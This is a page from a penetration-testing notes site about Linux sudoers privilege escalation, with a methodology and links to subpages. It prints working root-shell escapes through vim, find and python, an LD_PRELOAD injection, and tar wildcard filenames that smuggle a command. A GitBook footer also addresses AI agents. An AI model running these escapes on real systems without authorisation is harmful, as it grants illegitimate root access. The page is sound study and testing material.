> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers.md). # Sudoers Linux sudoers privilege escalation techniques, sudo -l abuse, allowed binaries, symlink abuse, and sudo version vulnerabilities. Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. ## Methodology * Run `sudo -l` and document every allowed command, target user, and NOPASSWD rule. * Check GTFOBins for shell escapes, file writes, and argument-controlled execution. * Review scripts for writable paths, symlink handling, wildcard expansion, and missing file references. * Check `sudo --version` when the path depends on a known sudo CVE. ## Quick Checks ```bash sudo -l sudo --version ``` ## Common Sudo Abuses When `sudo -l` exposes a command, check whether that command can spawn a shell, write files, follow symlinks, load plugins, or expand attacker-controlled wildcards. ```bash sudo -i sudo vim -c '!sh' sudo find . -exec /bin/sh \; -quit sudo python -c 'import os; os.system("/bin/sh")' ``` ### Environment Variable Preservation If `env_keep` preserves loader variables, `LD_PRELOAD` or `LD_LIBRARY_PATH` can become useful. Confirm the sudoers rule first: ```bash sudo -l sudo LD_PRELOAD=/tmp/evil.so program ``` ### Wildcard Exploitation Wildcard abuse appears when a sudo rule runs a command over attacker-controlled filenames, for example backup jobs using `*.conf` or archives using `*`. ```bash echo 'command' > exploit.conf touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh' sudo /usr/bin/rsync *.conf /backup/ ```

:terminal:

Sudo awk

Sudo (awk) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo awk - Linux Privilege Escalation

:terminal:

Sudo Nmap

Sudo (Nmap) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Nmap) - Linux Privilege Escalation

:terminal:

Sudo Perl

Sudo (Perl) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Perl) - Linux Privilege Escalation

:terminal:

Sudo GitPython

Sudo (GitPython) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo GitPython - Linux Privilege Escalation

:terminal:

Sudo Version CVEs

Sudo version vulnerability notes for CVE-2019-14287 and CVE-2025-32463 Linux privilege escalation.Sudo Version Vulnerabilities - Linux Privilege Escalation

:terminal:

Sudo su

Sudo (su) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo su - Linux Privilege Escalation

:terminal:

Sudo Knife

Sudo (Knife) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Knife) - Linux Privilege Escalation

:terminal:

Sudo ALL:ALL

Sudo (ALL:ALL) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo ALL:ALL - Linux Privilege Escalation

:terminal:

Sudo mosh-server

Sudo (Mosh-Server) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Mosh-Server) - Linux Privilege Escalation

:terminal:

Sudo iptables

Sudo (iptables) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo iptables - Linux Privilege Escalation

:terminal:

Sudo Go

Sudo (Go) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Go) - Linux Privilege Escalation

:terminal:

Sudo journalctl

Sudo (journalctl) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo journalctl - Linux Privilege Escalation

:terminal:

Sudo Metasploit

Sudo (Metasploit) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo (Metasploit) - Linux Privilege Escalation

:terminal:

Sudo Missing File

Sudo (file not found) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo Missing File - Linux Privilege Escalation

:terminal:

Sudo bee Binary

Sudo (bee Binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo bee Binary - Linux Privilege Escalation

:terminal:

Sudo bbot Binary

Sudo (bbot Binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo bbot Binary - Linux Privilege Escalation

:terminal:

Sudo ACL Symlink Abuse

Sudo ACL / symbolic link notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo ACL/symlink - Linux Privilege Escalation

:terminal:

Sudo Double Symlink

Sudo (double symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo Double Symlink - Linux Privilege Escalation

:terminal:

Sudo Backup Binary Symlink

Sudo (backup binary / symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo Backup Binary Symlink - Linux Privilege Escalation

:terminal:

Sudo backy.sh Script

Sudo - backy.sh (script) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Sudo backy.sh Script - Linux Privilege Escalation
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/privesc/sudoers.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.